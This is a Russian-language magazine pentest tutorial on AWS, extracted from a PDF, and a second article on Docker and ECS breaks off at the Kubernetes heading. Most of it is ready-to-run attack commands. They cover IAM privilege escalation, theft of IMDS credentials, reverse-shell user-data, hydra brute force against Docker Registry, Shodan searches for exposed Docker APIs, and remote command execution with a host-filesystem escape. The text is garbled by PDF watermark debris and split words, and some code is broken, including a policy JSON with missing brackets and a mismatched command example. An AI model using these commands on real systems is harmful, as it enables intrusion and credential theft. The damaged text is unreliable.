Добавил:

Anonymhacker Опубликованный материал нарушает ваши авторские права? Сообщите нам.

Вуз:

Пензенский Государственный Университет

Предмет:

[НЕСОРТИРОВАННОЕ]

Файл:

ха-284_Optimized

.pdf

Скачиваний:

Добавлен:

20.04.2024

Размер:

17.09 Mб

Скачать

☆

<<< < Предыдущая 12 / 42 3 4 > Следующая >>>

			hang			e
		C				e	E
	X						E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
	wClick			BUY					o m	COVERSTORY
	wClick		to						o m	COVERSTORY


w
w				c				.c
	.			c				.c
	p						g
		df	-x			n		e
			-x		ha

			hang		e
		C			e	E
	X					E
	-						d
	F							t
	D							i
	D							r
P					NOW!			o
← НАЧАЛО СТАТЬИ w.				c	NOW!
← НАЧАЛО СТАТЬИ w.				c			.co
			to	BUY
w Click			to						m
w
	p					g
		df			n		e
			-x ha

ENUMERATION

В начале любого тестирова ния на проник новение следует хорошенько осмотреться и понять, насколь ко большое облако предсто ит пропен тестить. Сначала столь скрупулез ная разведка может показаться бесполез ной, но, переходя к следующим этапам , мы уже будем располагать достаточ ным объ емом информации . В начале каждого раздела я указал , для чего нам потребу ются те или иные данные .

Не переживай , механизм работы с политиками и ролями будет поначалу не совсем ясен. Постарай ся удержать в голове команды . Когда дойдем до эта па повышения привиле гий, все встанет на свои места само собой.

IAM

Пользователи

Пользовате ли — самая популярная точка входа в облако AWS. Именно поль зовательскую учетную запись можно обнаружить в файле .aws/credentials, а также в публичных репозитори ях .

Сначала стоит найти всех зарегистри рованных в облаке пользовате лей:

aws iam list-users

Вывод команды показывает наличие двух пользовате лей: mishaadmin и Bob, которые в дальнейшем могут сыграть важную роль в тестирова нии облака на проник новение.

Юзеры могут состоять в группах , а к этим группам могут быть привяза ны криво сконфигури рованные политики . Следующей командой мы определим , в каких группах состоит каждый пользователь :

aws iam list-groups-for-user --user-name <username>

Кроме групп, политики могут быть также привяза ны непосредс твен но к поль зователю . Проверим , есть ли в нашем случае такая привяз ка :

# Управляемые

aws iam list-attached-user-policies --user-name <username>

# Встроенные

aws iam list-user-policies --user-name <username>

Группы

К группам тоже могут быть привяза ны политики , способ ные помочь нам на этапе повышения привиле гий. Чтобы увидеть все IAM-группы , набери в кон соли PowerShell следующее :

aws iam list-groups

Найти применя емые				к группе политики помогают следующие	команды .
Для управляемых			политик:
aws	iam	list-attached-group-policies --group-name <group-name>

Например :
aws	iam	list-attached-group-policies --group-name demogroup

И для встроенных :

aws iam list-group-policies --group-name <group-name>

Например :

aws iam list-group-policies --group-name demogroup

Роли

Роли интересу ют нас по тем же причинам , что и группы . Роли мы можем использовать в своих интересах , если у нас есть привиле гия iam:PassRole, о которой мы поговорим чуть позже .

Увидеть все роли IAM можно при помощи следующей команды :

aws iam list-roles

Вывод команды показывает , что в нашем облаке есть роль Example1, которая может быть использована на сервере ec2.amazonaws.com.

Чтобы найти политики , привязан ные к этой роли, восполь зуем ся следующи ми командами . Для управляемых политик:

aws iam list-attached-role-policies --role-name <role-name>

Например , так:

aws iam list-attached-role-policies --role-name Example1

Для встроенных :

aws iam list-role-policies --role-name <role-name>

Пример использования :

aws iam list-role-policies --role-name Example1

Политики

Именно в политиках содержится информация о предос тавля емых пользовате лю привиле гиях . Есть очень полезный сайт policysim.aws.amazon.com, на который можно загрузить полученную политику и удобно работать с ней, применять фильтры .

При этом политики могут быть как встроенны ми (inline), так и управляемы ми (managed). Они реализуют одни и те же функции : предос тавляют права либо отказыва ют в них. Отличие встроенной политики заключа ется в том, что она действи тельно встроена в группу , пользовате ля или роль, к которым при меняется . Появляет ся строгая связь: одна политика — один объект . При уда лении пользовате ля, группы или роли эта политика также будет удалена . Чаще всего встроенные политики применя ют, чтобы гарантирован но не предос тавить случай но права какому либо другому объекту . Тем не менее Amazon рекомендует использовать управляемые политики вместо встроенных .

Управля емые политики чуть более удобны . Самое важное — их можно при вязать к несколь ким объектам сразу . В свою очередь , управляемые политики делятся на два типа: managed policy и customer managed policy. Первые избавляют нас от необходимос ти писать политику самостоятель но , AWS сам позаботил ся об этом и предос тавил некоторые варианты для самых рас пространен ных случаев , например AmazonDynamoDBFullAccess, AWSCodeCommitPowerUser и тому подобные . При этом стандар тные политики managed policy нельзя редактировать . Второй тип — customer managed policy — использует ся , если требует ся чуть более тонкая настрой ка привиле гий. В таком случае придет ся создавать политику самостоятель но .

Увидеть список политик IAM можно с помощью следующей команды :

aws iam list-policies

Чтобы получить информацию об определен ной политике , используй сле дующий синтаксис :

aws iam get-policy --policy-arn <policy-arn>

Например , так:

aws iam get-policy --policy-arn arn:aws:iam::aws:policy/

AdministratorAccess

Скорее всего , в выводе первой или второй команды ты обратил внимание на параметр DefaultVersionId. В AWS могут одновремен но существо вать

несколь ко отличающих ся друг от друга версий одной и той же политики . Допустим , политика первой версии предос тавля ла полный доступ к любым ресурсам , а политика второй версии уже ограничи вала нас в чем то. С этим связан один из векторов повышения привиле гий , который мы тоже рассмот рим. Обязатель но обрати внимание на параметр IsAttachable, возможно , что политика «мертвая » и ее нельзя ни к чему привязать .

Чтобы получить информацию о версиях указан ной политики , используй сле дующую команду :

aws iam list-policy-versions --policy-arn <policy-arn>

Например , так:

aws iam list-policy-versions --policy-arn arn:aws:iam::aws:policy/

AdministratorAccess

Получить информацию об определен ной версии указан ной политики можно таким образом :

aws iam get-policy-version --policy-arn <policy-arn> --version-id

<version-id>

Пример использования этой команды :

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/

AdministratorAccess --version-id v1

Эта политика предос тавля ет возможность любых действий на любых ресурсах

(Action: *, Resource: *, Effect: Allow). Также мы можем увидеть , какие права дает конкрет ному объекту указан ная политика :

aws iam get-user-policy --user-name <user-name> --policy-name <

policy-name>

Пример использования команды :

aws iam get-user-policy --user-name mishaadmin --policy-name

AdministratorAccess

Для групповой политики использует ся следующий синтаксис :

aws iam get-group-policy --group-name <group-name> --policy-name <

policy-name

Например , так:

aws iam get-role-policy --role-name <role-name> --policy-name <

policy-name>

Как видим, наш многоува жаемый админис тратор облака mishaadmin имеет неограничен ные возможнос ти.

EC2

EC2 — рабочая лошадка облака . Это виртуаль ная машина, на которой могут работать сервисы или просто хранить ся интерес ные данные . Ко всему прочему

мы можем использовать EC2 как вектор повышения привиле гий .

Для начала нам нужно получить информацию обо всех расположен ных

воблаке инстансах :

#Найти все экземпляры

aws ec2 describe-instances

# Найти	экземпляры в определенном регионе
aws	ec2 describe-instances --region us-east-2

# Найти	экземпляры в определенном VPC
aws	ec2 describe-instances --filters "Name=vpc-id,
Values=vpc-0231443b9eecdb617"

# Найти	экземпляры в определенной подсети (идентификаторы
подсетей уникальны, поэтому указываем подсеть интересующего VPC)
aws	ec2 describe-instances --filters "Name=subnet-id,

Values=subnet-0ac4b8aa82d7ab459"

Выпол нив эти команды , мы получим очень длинный список , подобный тому, что показан на следующем рисунке .

Стоит обратить внимание на Public/Private IP Address. Если у инстанса имеется публичный IP-адрес, то к нему возможно подклю читься извне. Если же у него лишь приват ный айпишник , то сначала потребу ется выяснить , в каком VPC он находится .

Обрати также внимание на параметр InstanceType. Существу ют разные типы инстансов , и в зависимос ти от значения этого параметра можно опре делить важность инстанса .

Чтобы получить информацию об одном определен ном инстансе , восполь зуем ся следующей командой :

aws ec2 describe-instances --instance-ids <instance-id>

Например , так:

aws ec2 describe-instances --instance-ids i-00d6e1005e5976480

Очень важный атрибут инстанса — UserData. В этом атрибуте сосредото чены команды , которые автомати чес ки выполняют ся при запуске либо при перезаг рузке ЕС2. Очень часто в этом атрибуте могут хранить ся пользователь ские учетные данные . Попробу ем получить информацию о данном атрибуте :

aws ec2 describe-instance-attribute --attribute userData

--instance-id <instance-id>

Пример использования :

aws ec2 describe-instance-attribute --attribute userData

--instance-id i-00d6e1005e5976480

Получен ные данные обычно хранят ся в зашифрован ном виде. Для дальнейше го использования их следует расшифро вать :

[System.Text.Encoding]::UTF8.GetString([System.Convert]::

FromBase64String(

"ZWNobyBNeVVuaEBja2FibGVQYXNzVzByZCEgfCBzc2ggcm9vdEBlYzJpbnN0YW5jZ

SA="

))

Чтобы увидеть , какие профили привяза ны к инстансам , восполь зуемся сле дующей командой :

aws ec2 describe-iam-instance-profile-associations

Продолжение статьи →

				hang			e
			C				e	E
		X						E
	-								d
	F									t
	D									i
	D									r
P							NOW!			o
P
w Click					BUY					o m	COVERSTORY
w Click				to						o m	COVERSTORY


w
	w				c				.c
	.								.c
		p						g
			df	-x			n		e
				-x		ha

			hang		e
		C			e	E
	X					E
	-						d
	F							t
	D							i
	D							r
P					NOW!			o
← НАЧАЛО СТАТЬИ w.				c	NOW!
← НАЧАЛО СТАТЬИ w.				c			.co
			to	BUY
w Click			to						m
w
	p					g
		df			n		e
			-x ha

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Закон чив со сбором информации , ты уже будешь в состоянии эксплу атировать ошибки конфигура ции, повышая свои привиле гии. Явных админис траторов домена, как в Active Directory, здесь нет. Обязатель но изучи список всех групп облака и попытайся предположить , какая из них может обладать высокими привиле гиями.

Рекомен дую отталкивать ся от политик: наша цель — получить неограничен ный доступ к максималь ному количеству ресурсов . Для этого подойдет политика с Action: *, Resource: *, Effect: Allow.

IAM

IAM предос тавляет системным админис траторам невероятно широкие воз можности , и, как следствие , векторов атаки рождает ся тьма. Я постарал ся выделить самые интерес ные на мой взгляд.

iam:SetDefaultPolicyVersion

Предположим , ты выяснил , что в исследуемом облаке есть несколь ко версий одной политики . При этом первая версия дает чуть более расширен ные воз можности , чем вторая . В таком случае , имея привиле гию iam: SetDefaultPolicyVersion, мы можем сменить версию политики на тре буемую для нас. Разберем последова тель ность действий на конкрет ном при мере.

К нашему пользовате лю PrivEsc1 привяза на политика ChngPolicyVersion, которая предос тавляет право iam:SetDefaultPolicyVersion, а также PolicyToChange, которая позволя ет выполнять любые действия на всех поль зователях . Вроде бы неплохо ? Но нам этого недостаточ но.

![](https://static.xakep.ru/images/

5d16c44634828e55b1ec384601b0e913/27722/img17.png)

Мы видим, что у политики PolicyToChange имеется первая версия :

aws iam list-policy-versions --policy-arn arn:aws:iam::

184194106212:policy/PolicyToChange

Изучаем эту первую версию :

aws iam get-policy-version --policy-arn arn:aws:iam::184194106212:

policy/PolicyToChange --version-id v1

Несложно заметить, что в этой версии изменен параметр Resource. Так как у нас есть привиле гия iam:SetDefaultPolicyVersion, мы можем изменить версию :

aws iam set-default-policy-version --policy-arn arn:aws:iam::

184194106212:policy/PolicyToChange --version-id v1

Нужные привиле гии получены . Наслажда емся неограничен ным доступом .

iam:CreatePolicyVersion

Эта привиле гия позволя ет создавать новую версию определен ной политики . Если у нас есть доступ к объекту , к которому привяза на политика , то мы можем повысить свои привиле гии . Для этого можно восполь зовать ся следующим алгорит мом .

Создаем файл и называем его AdminPolicy.json:

{

"Version": "2012-10-17",

"Statement": [

{

"Effect": "Allow",

"Action": [

"*"

"Resource": [

"*"

}

]

}

Эта политика разреша ет абсолют но все действия на абсолют но всех ресурсах . Теперь заводим в AWS эту политику , обновляя существу ющую MyPolicy:

aws iam create-policy-version --policy-arn arn:aws:iam::

123456789012:policy/MyPolicy --policy-document file://AdminPolicy.

json --set-as-default

В целом порядок действий таков: сначала нужно попытаться получить контроль над учетной записью любого пользовате ля, к которой привяза на хоть какая нибудь политика . После этого мы просто заводим новую политику

в AWS, обновляя существу ющую. В результате чего объект , который у тебя под контро лем, получает неограничен ные полномочия .

sts:AssumeRole

Привиле гия sts:AssumeRole позволя ет нам получать доступ к ресурсам , к которым он обычно отсутству ет. В ответ на наш запрос AWS вернет нам вре менные учетные данные определен ной роли. Эта операция абсолют но легитимная и некоторое время позволя ет работать от имени выбранной нами роли. Для злоупот ребления данной конфигура цией требует ся:

•наличие у пользовате ля политики , позволя ющей вызывать sts: AssumeRole;

•наличие роли, на которую данный пользователь может вызвать sts: AssumeRole.

Первым делом нам нужно отыскать пользовате ля с политикой , которая раз решает ему sts:AssumeRole. Далее находим роль, которую он может взять. Проверя ем политики , привязан ные к этой роли. Если все найден ное нам под ходит — получаем времен ные данные для доступа к нужным ресурсам . А теперь по порядку .

Мы видим, что к нашему пользовате лю привяза на политика , предос тавля ющая право sts:AssumeRole на Resource: *. Это означает , что мы можем принять на себя практичес ки любую роль:

aws iam get-policy-version --policy-arn arn:aws:iam::184194106212:

policy/stsAssumePolicy --version-id v1

Пусть имя нашего текущего пользовате ля nonpriv. Ищем роль, в параметре Principal которой написано nonpriv, а значение Action: имеет вид sts: AssumeRole:

aws iam list-roles

Роль Full-Access нам, возможно , подходит . Изучи ее, просмотри привязан ные политики , выясни , что они дают. Запрашива ем времен ный токен этой роли, получаем креды для доступа :

aws sts assume-role --role-arn <RoleArn> --role-session-name <

SessionName>

aws sts assume-role --role-arn arn:aws:iam::184194106212:role/

Full-Access --role-session-name awscli

Значения , которые я привел в примерах , ненастоящие . Они нужны , чтобы луч ше понять синтаксис команд. В реальной обстанов ке ты получишь что то подобное этому .

Применя ем полученную информацию :

# Windows

set AWS_ACCESS_KEY_ID=123MISHKA

set AWS_SECRET_ACCESS_KEY=KeyAccess

set AWS_SESSION_TOKEN=SuperSecretTOken

aws sts get-caller-identity # Проверяем, что все OK (должен

измениться юзер)

# Linux

export AWS_ACCESS_KEY_ID=123MISHKA

export AWS_SECRET_ACCESS_KEY=KeyAccess

export AWS_SESSION_TOKEN=SuperSecretTOken

aws sts get-caller-identity # Проверяем, что все OK (должен

измениться юзер)

После этого мы можем получать доступ к ресурсам с правами этой роли.

Автоматические проверки

Сущес твуют инстру менты, позволя ющие сканиро вать политики и искать век торы повышения привиле гий. Один из них — aws_escalate.py.

Стоит отметить , что само повышение привиле гий через IAM — процеду ра несложная . Допустим :

iam:UpdateLoginProfile — позволяет сбросить пароль пользователя

aws iam update-login-profile --user-name Bob --password <

password>

iam:

AttachUserPolicy — позволяет привязать определенную политику к пользователю

aws iam attach-user-policy --policy-arn arn:aws:iam::aws:

policy/AdministratorAccess --user-name Alice

Самое главное — понять, что всегда требует ся перечислять политики . Чаще всего уязвимая конфигура ция находится именно там. А теперь перейдем к другим векторам атак.

EC2

iam:PassRole + доступ к инстансу

Рассмот рим следующий стандар тный сценарий .

Для его реализации нам потребу ется найти любого пользовате ля, имеюще го доступ к EC2, а также объект , обладающий правами iam:PassRole. Благода ря этому сможем применить роль к инстансу , зайти на него и оттуда получить привиле гированный доступ к сервисам .

Обнаружи ваем политику , предос тавляющую нам iam:PassRole:

aws iam get-policy-version --policy-arn arn:aws:iam::185194106212:

policy/User-EC2-PassRole --version-id v1

Видим , что политика дает право iam:PassRole, которое позволя ет пользовате лю применять роль к инстансу . Теперь смотрим на Resource и видим, что пользователь может применять любые роли. С помощью данной привиле гии новую роль создать мы не сможем , но в состоянии применить существу ющую.

Перек лючаемся на инстанс и получаем его ID:

curl http://169.254.169.254/latest/meta-data/instance-id

Находим все роли, которые возможно привязать к инстансу :

aws iam list-instance-profiles

Так как у нас есть права iam:PassRole на все роли, мы можем привязать роль к определен ному инстансу :

aws ec2 associate-iam-instance-profile --instance-id <InstanceID>

--iam-instance-profile Name=<ProfileName>

# Ex

aws ec2 associate-iam-instance-profile --instance-id

i-087b67673d2fe2654 --iam-instance-profile Name=

EC2-Administrator-Role

Теперь с инстанса можем получать доступ к другим ресурсам . Например :

aws s3 ls

iam:PassRole + EC2:RunInstances

Этот вектор чем то похож на предыду щий , но в данном случае у нас появляет ся возможность создать новый инстанс. У каждого инстанса есть сервис метаданных (IMDS — instance metadata service). Будем считать , что это очеред

ная служба , хранящая кучу интерес ных данных , из которой можно получить токены привязан ной роли.

На сам инстанс можно зайти различны ми способа ми . Один из них — соз дать или импортировать ключ SSH и связать его с экземпля ром EC2 при соз дании, чтобы можно было подклю чить ся к инстансу по SSH. Другой вариант — указать в пользователь ских данных EC2 скрипт, который выполнится и предос тавит нам доступ . Этим скриптом может быть какой нибудь реверс шелл.

Для получения доступа с использовани ем ключа SSH использует ся такой скрипт:

aws ec2 run-instances –image-id <образ> –instance-type <тип

инстанса> –iam-instance-profile Name=<имя привязываемой роли> –

key-name <ssh key> –security-group-ids <security groups>

# Ex

aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.

micro –iam-instance-profile Name=iam-full-access-ip –key-name

my_ssh_key –security-group-ids sg-123456

А вот сценарий для исполнения полезной нагрузки :

aws ec2 run-instances –image-id <образ> –instance-type <тип

инстанса> –iam-instance-profile Name=<имя привязываемой роли>p –

user-data <реверс-шелл в файле>

# Ex

aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.

micro –iam-instance-profile Name=iam-full-access-ip –user-data

file://script/with/reverse/shell.sh

После того как мы запустили инстанс, можем обращать ся к IMDS.

Metadata

У EC2 есть так называемый IMDS — instance metadata service. Существу ет два эндпоинта , с использовани ем которых мы можем получить доступ к этой информации : 169.254.169.254 и нигде не описан ный localhost:1338. При чем у IMDS есть разные версии :

•IMDSv1 получает данные через обычный curl;

•IMDSv2 получает данные только с помощью специаль ного токена.

Получить доступ к IMDS можно прямиком из EC2:

# IMDSv1

curl http://169.254.169.254/latest/meta-data

curl http://localhost:1338/latest/meta-data

# IMDSv2

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token"

-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/

latest/meta-data/

TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H

"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/

latest/meta-data/

Обрати внимание на папку /identity-credentials/, в которой лежит мно жество других папок. Прогуляв шись по этим папкам , можно найти интерес ную информацию (ключи доступа как минимум).

Также стоит проверить , нет ли ключей доступа , по следующим путям:

# IMDSv1

curl http://169.254.169.254/latest/meta-data/iam/

curl http://169.254.169.254/latest/meta-data/iam/security-

credentials/

curl http://localhost:1338/latest/meta-data/iam/

curl http://localhost:1338/latest/meta-data/iam/security-

credentials/

# IMDSv2

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token"

-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/

latest/meta-data/iam/

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token"

-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/

latest/meta-data/iam/security-credentials/

TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H

"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/

latest/meta-data/iam/

TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H

"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/

latest/meta-data/iam/security-credentials/

Бывает , «курление » /security-credentials/ ничего не дает. В таком случае следует пытаться найти или подобрать имена ролей, которые присутс твуют в облаке . После того как ты получил возможные имена ролей, попробуй дос тать ключи доступа :

# IMDSv1

curl http://169.254.169.254/latest/meta-data/iam/security-

credentials/<your_role_name_here>/

# Ex

curl http://169.254.169.254/latest/meta-data/iam/security-

credentials/EC2-superrole/

curl http://localhost:1338/latest/meta-data/iam/security-

credentials/<your_role_name_here>/

# Ex

curl http://localhost:1338/latest/meta-data/iam/security-

credentials/EC2-superrole/

# IMDSv2

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token"

-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/

latest/meta-data/iam/security-credentials/<your_role_name_here>/

# Ex

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token"

-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/

latest/meta-data/iam/security-credentials/EC2-superrole/

TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H

"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/

latest/meta-data/iam/security-credentials/<your_role_name_here>/

# Ex

TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H

"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/

latest/meta-data/iam/security-credentials/EC2-superrole/

UserData

В этой папке хранит ся информация , связан ная с пользователь скими данными . Это могут быть как переменные окружения , так и некоторые файлы . Вся информация в папке зашифрована с использовани ем Base64. Получить доступ

кней можно следующим образом :

#IMDSv1

curl http://169.254.169.254/latest/user-data/

curl http://localhost:1338/latest/user-data/

# IMDSv2

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token"

-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/

latest/user-data/

TOKEN=`curl -X PUT "http://localhost:1338/latest/api/token" -H

"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H

"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/

latest/user-data/

Изредка в этой папке можно встретить данные для входа , на которые также следует обращать внимание .

ВЫВОДЫ

Проблемы безопасности облачных инфраструктур возника ют на повестке дня все чаще и чаще. Любая инфраструктура AWS также требует периоди ческих аудитов безопасности и анализа защищенности . Даже самые простые и широко используемые сервисы могут быть уязвимы . Пентест позволя ет вов ремя выяснить все недочеты в периметре безопасности и устранить их.

Если у тебя остались вопросы по материалам статьи, я буду рад ответить на них: мои контакты ищи в профиле .

			hang			e
		C				e	E
	X						E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
	wClick			BUY					o m	COVERSTORY
	wClick		to						o m	COVERSTORY


w
w				c				.c
	.			c				.c
	p						g
		df	-x			n		e
			-x		ha

				hang		e
			C			e	E
		X					E
	-							d
	F								t
	D								i
	D								r
P						NOW!			o
P
					BUY
				to	BUY
w Click				to						m
w Click										m
w
	w				c				o
	.				c			.c
		p					g
			df			n		e
				-x ha

ПЕНТЕСТИМ

DOCKER И KUBERNETES

В ОБЛАКЕ AMAZON

Предположим , ты уже умеешь повышать привиле гии в среде AWS. Но туда ведь нужно еще как то попасть! Файлы

.credentials в репозитори ях и другие прос тые ошибки разработ чиков встречают ся все реже и реже. Что еще можно поискать ? Об этом и поговорим сегодня .

MichelleVermishelle

17 y.o. | TG: @MichaelZhm michael.zhmailo@yandex.ru

В своей прошлой статье я расска зывал о самых простых и основных темах — IAM и EC2. Но тем временем AWS — это чуть больше двух сотен разных сер висов.

Сейчас все больше компаний начинают использовать контей нерные среды . AWS, следуя за спросом , предлага ет несколь ко сервисов для работы с Docker или Kubernetes. У кластеров в AWS есть некоторые отличия от обычных , но они крайне незначитель ны.

Обычная система и AWS

Слева обычная система , справа то же самое, но в AWS. Везде присутс тву ет Docker Engine — собствен но , сам движок , обеспечива ющий работоспособ ность контей нер ной среды . И реестр — специаль ное место , откуда можно ска чать образ докера.

Подробнее о Docker и Kubernetes:

•The Illustrated Children’s Guide to Kubernetes

•Xakep #196. Все о Docker

ELASTIC CONTAINER REGISTRY (ECR)

Внешняя разведка

В ECR хранят ся образы контей неров. Они помогают разработ чикам в управле нии, разверты вании и настрой ке инфраструктуры . В подобных местах при пен тесте особо не разгуля ешься, но очень часто не самые вниматель ные кодеры могут оставить в образе какие нибудь конфиден циальные данные , поэтому обязатель но стоит проверять в том числе и реестр.

Без учетных данных надеять ся можно лишь на удачу . ECR имеет URL для доступа следующе го вида:

https://<account-id>.dkr.ecr.<region>.amazonaws.com

Например :

https://184194106212.dkr.ecr.us-east-2.amazonaws.com

Возможно , удача тебе улыбнется и ты получишь доступ к реестру .

Также иногда на пентесте встречает ся работающая на 5000-м порте служба Docker Registry, которую пока не умеет определять Nmap.

Сканиро вание хоста с работающим Docker Registry при помощи Nmap

Если реестр требует аутентифика ции , то при попытке обратить ся к нему получим ошибку :

root@xtreme$> curl -k https://<IP>:5000/v2/_catalog

{"errors":[{"code":"UNAUTHORIZED","message":"authentication

required","detail":[{"Type":"registry","Class":"","Name":"catalog"

,"Action":"*"}]}]}

Имея на руках список возможных логинов, можно попробовать атаковать брут форсом:

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/

share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get

/v2/

А когда найдешь данные для аутентифика ции , сдампить образы поможет

DockerRegistryGrabber.

AWS CLI

Если есть доступ к AWS CLI, то, конечно же, получится достать на порядок больше информации .

Первым делом стоит обнаружить все репозитории :

aws ecr describe-repositories

Находим все репозитории

Обязатель но попробуй вставить URL из repositoryURl в браузер . Возможно , повезет и аутентифика ция для доступа к репозиторию не потребу ется.

Следующим шагом рекомендую проверить привязан ную политику .

aws ecr get-repository-policy --repository-name <RepositoryName>

Пример :

aws ecr get-repository-policy --repository-name xakepru

Чаще всего никаких политик не привяза но и мы получим ошибку .

Отсутс твие политики Но бывает , что попадается привязан ная политика .

Получе ние политики

Здесь видим, что всем объектам (Principal: *) разрешено :

•ecr:BatchCheckLayerAvailability — проверять доступность одного или несколь ких образов в репозитории ;

•ecr:BatchGetImage — получать более детальную информацию об обра зе;

•ecr:GetDownloadUrlForLayer — получать URL для загрузки образа .

Наконец , убедив шись			,	что текущий пользователь	имеет права на работу
с репозитори ем , найдем				все образы :
aws	ecr	list-images --repository-name <RepositoryName>

Пример :
aws	ecr	list-images --repository-name xakepru

Поиск образов в репозитории

Получить информацию о конкрет ном образе :

aws ecr describe-images --repository-name <RepositoryName>

--image-ids imageTag=<ImageTag>

Пример :

aws ecr describe-images --repository-name xakepru --image-ids

imageTag=latest

Изучаем конкрет ный образ

ELASTIC CONTAINER SERVICE (ECS)

Да, много информации из ECR не вытянешь. А можно ли сразу пробрать ся в Docker? Все возможно ! ECS — сервис для управления контей нерами. Его структура довольно незамысловата .

Устрой ство ECS

Сначала создает ся кластер с определен ным числом узлов (нод). Чаще всего это реализует ся на базе EC2 или Fargate.

Задача — это обязатель ная и незаменимая часть ECS. Она требует ся для коррек тно го запуска контей нера . Позволя ет указать , какой образ Docker использовать , сколько ЦП и памяти выделять, как собирать логи, какую роль IAM использовать и так далее. Задача запускает ся вручную . Она, в свою оче редь, запускает определен ные для нее контей неры , которые работают , пока не будут останов лены или не завершат работу самостоятель но .

Служба ECS использует ся, чтобы гарантировать , что всегда выполняет ся некоторое количество задач. Если контей нер непредви денно выключа ется, то именно служба заменит неудавшуюся задачу. Для того и создают ся кластеры : чтобы у службы было достаточ но ресурсов для использования .

Initial Access

Самый распростра нен ный способ получить первоначаль ный доступ в ECS — торчащие в сеть порты 2375 или 2376. На них висит Docker Remote API, используемый для управления контей нером . По умолчанию на нем нет никакой аутентифика ции , поэтому любой, кто в состоянии взаимо дей ство вать с этими портами , может работать с контей нерами .

Обнаружить подобный мисконфиг можно с помощью Shodan:

port:2375 product:docker

port:2376 product:docker

Поиск уязвимых контей неров через Shodan

Эксплу ата ция донельзя простая . Можно использовать стандар тную утилиту Docker, указав в переменной среды DOCKER_HOST IP уязвимого хоста , а затем выполнять все стандар тные команды админис три рова ния контей неров . Как вариант — отправлять JSON с информацией для Docker при помощи curl.

Описание формата данных в официаль ной документации Docker.

Находим все доступные контей неры :

curl http://<IP>:2375/containers/json | python3 -m json.tool

Исполь зуем curl, чтобы найти контей неры

Видим , что взаимо дей ствие успешно, поэтому можем добиться выполнения кода в контей нере вот так:

curl -s "http://10.10.10.10:2375/containers/<container_id>/exec"

-X POST -H "Content-Type: application/json" -d '{"AttachStdin":

true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["whoami"],

"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'

export EXEC_ID=913c5

curl -s "http://10.10.10.10:2375/exec/${EXEC_ID}/start" -X POST -H

"Content-Type: application/json" -d '{"Detach": false,"Tty":

false}'

Если хочешь использовать Docker, то все точно так же. Рассмот рим вариант с монтирова нием хостовой файловой системы в контей нер :

# Указываем IP-адрес уязвимого хоста

export DOCKER_HOST="tcp://10.10.10.10:2375"

#Смотрим доступные образы docker images

#Запускаем контейнер (/:/host означает монтирование / в контейнерный /home)

docker run -it -v /:/host <REPOSITORY>:<TAG> bash

# И монтируем файловую систему

docker> chroot /host bash

Enumeration

Успешно сбежав из контей нера, ты попадешь на саму работающую ноду (которая чаще всего будет расположе на в VPC). В случае с EC2 обязатель но проверяй IMDS, чтобы найти токены доступа привязан ной роли. Как это делать, я расска зывал в прошлой статье.

Virtual Private Cloud (VPC), или виртуаль ное час

тное облако , — это полноцен ная изолиро ванная сеть в облаке , обладающая всеми свойства ми реальной сети. Здесь используют ся такие же IPадреса , подсети и маршру тизация, как в обычной сети.

Когда получен доступ к AWS CLI, пора переходить к разведке .

Поиск всех кластеров : aws ecs list-clusters.

Изучаем доступные кластеры

Получить подробную информацию о конкрет ном кластере :

aws ecs describe-clusters --cluster <ClusterName>

Пример :

aws ecs describe-clusters --cluster DimkinCluster

Получе ние подробной информации о кластере

Дальше можно продол жить нашу разведку вот так:

# Нахождение всех сервисов

aws ecs list-services --cluster <ClusterName>

# Конкретный сервис

aws ecs describe-services --cluster <ClusterName> --services <

ServiceName>

# Задачи

aws ecs list-tasks --cluster <ClusterName>

aws ecs describe-tasks --cluster <ClusterName> --tasks <

TaskArn>

ELASTIC KUBERNETES SERVICE (EKS)

